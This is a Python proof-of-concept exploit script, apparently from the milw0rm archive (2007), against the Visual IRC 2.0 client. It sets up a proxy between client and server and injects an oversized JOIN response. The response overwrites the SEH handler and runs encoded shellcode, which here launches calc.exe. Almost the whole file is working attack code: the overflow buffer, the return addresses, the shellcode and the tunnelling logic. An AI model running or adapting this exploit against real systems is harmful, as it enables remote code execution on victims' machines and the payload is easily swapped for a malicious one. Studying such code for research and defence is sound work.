#!/usr/bin/python
# ViRC 2.0 'JOIN Response' 0day Remote SEH Overwrite PoC Exploit
# Bug discovered by Krystian Kloskowski (h07) <h07@interia.pl>
# Tested on Visual IRC 2.0 / 2k SP4 Polish
# Shellcode type: Windows Execute Command (calc.exe)
# How stuff works ? ..
#
# [ViRC] -----> (..JOIN..) -------------> [exploit_tunnel] -----------------------------> [Real IRC server]
# [ViRC] <--- (#channel :AAAAAAA...) <--- [exploit_tunnel] <---- (#channel :nick) <------ [Real IRC server]
#
# Details:
# "#channel :" + "A" * 4116
# 0x41414141  Pointer to next SEH record
# 0x41414141  SE handler
##

from thread import start_new_thread
from struct import pack
from string import find
from string import join
from socket import *

LEN_RECV = 65536

in_addr = '0.0.0.0'        # local address
in_port = 6667             # local port
out_addr = '192.168.0.2'   # address of IRC server
out_port = 6667            # port of IRC server

shellcode = (
"\x31\xc9\x83\xe9\xdb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xd8"
"\x22\x72\xe4\x83\xeb\xfc\xe2\xf4\x24\xca\x34\xe4\xd8\x22\xf9\xa1"
"\xe4\xa9\x0e\xe1\xa0\x23\x9d\x6f\x97\x3a\xf9\xbb\xf8\x23\x99\x07"
"\xf6\x6b\xf9\xd0\x53\x23\x9c\xd5\x18\xbb\xde\x60\x18\x56\x75\x25"
"\x12\x2f\x73\x26\x33\xd6\x49\xb0\xfc\x26\x07\x07\x53\x7d\x56\xe5"
"\x33\x44\xf9\xe8\x93\xa9\x2d\xf8\xd9\xc9\xf9\xf8\x53\x23\x99\x6d"
"\x84\x06\x76\x27\xe9\xe2\x16\x6f\x98\x12\xf7\x24\xa0\x2d\xf9\xa4"
"\xd4\xa9\x02\xf8\x75\xa9\x1a\xec\x31\x29\x72\xe4\xd8\xa9\x32\xd0"
"\xdd\x5e\x72\xe4\xd8\xa9\x1a\xd8\x87\x13\x84\x84\x8e\xc9\x7f\x8c"
"\x28\xa8\x76\xbb\xb0\xba\x8c\x6e\xd6\x75\x8d\x03\x30\xcc\x8d\x1b"
"\x27\x41\x13\x88\xbb\x0c\x17\x9c\xbd\x22\x72\xe4")

NEXT_SEH_RECORD = 0x909006EB  # JMP SHORT + 0x06
SE_HANDLER = 0x7CEA41D3       # POP POP RET (SHELL32.DLL / 2k SP4 Polish)

buf = "A" * 4108
buf += pack("<L", NEXT_SEH_RECORD)
buf += pack("<L", SE_HANDLER)
buf += "\x90" * 32
buf += shellcode

class new_plug_in:
   def __init__(self):
       self.sock = 0
       self.send_to = 1
       self.active = 1
       self.plugins = []
       self.description = ''

   def CloseTunnel(self):
       if(self.active == 1):
           self.active = 0
           self.sock.shutdown(1)
           self.sock.close()
           self.plugins[self.send_to].active = 0
           self.plugins[self.send_to].sock.shutdown(1)
           self.plugins[self.send_to].sock.close()

   def Send(self, data):
       try:
           self.sock.send(data)
       except:
           self.CloseTunnel()

   def Recv(self):
       while(1):
           try:
               data = self.sock.recv(LEN_RECV)
               if(len(data) == 0):
                   self.CloseTunnel()
                   return
               print self.description
               print data
               if(self.description == '[SERVER]'):
                   if(find(data, 'JOIN') != -1):
                       data = build_evil_buf(data, buf)
                       if(data == -1):
                           print "Error: Malformed IRC response"
                           self.CloseTunnel()
               self.plugins[self.send_to].Send(data)
           except:
               self.CloseTunnel()
               return

   def Run(self):
       if(len(self.plugins) == 0):
           self.plugins.append(self)
           try:
               s = socket(AF_INET, SOCK_STREAM)
               s.connect((out_addr, out_port))
           except:
               s.close()
               self.sock.close()
               return
           tunnel_out = new_plug_in()
           tunnel_out.sock = s
           tunnel_out.send_to = 0
           self.plugins.append(tunnel_out)
           self.description = '[CLIENT]'
           tunnel_out.description = '[SERVER]'
           tunnel_out.plugins = self.plugins
           tunnel_out.Run()
       start_new_thread(self.Recv, ())

def build_evil_buf(data, buf):
   try:
       lines = data.split('\r\n')
       tmp = lines[1].split('\x20:')
       tmp[1] = buf
       lines[1] = join(tmp, "\x20:")
       return join(lines, "\r\n")
   except:
       return -1

def AcceptConnect(cl, addr):
   print "Connection accepted from: %s" % (addr[0])
   tunnel_in = new_plug_in()
   tunnel_in.sock = cl
   tunnel_in.Run()

def InitServer(bind_addr, bind_port):
   s = socket(AF_INET, SOCK_STREAM)
   s.bind((bind_addr, bind_port))
   print "Listening on %s:%d..." % (bind_addr, bind_port)
   s.listen(1)
   while(1):
       cl, addr = s.accept()
       start_new_thread(AcceptConnect, (cl, addr,))
   s.close()

InitServer(in_addr, in_port)

# EoF

# milw0rm.com [2007-07-06]
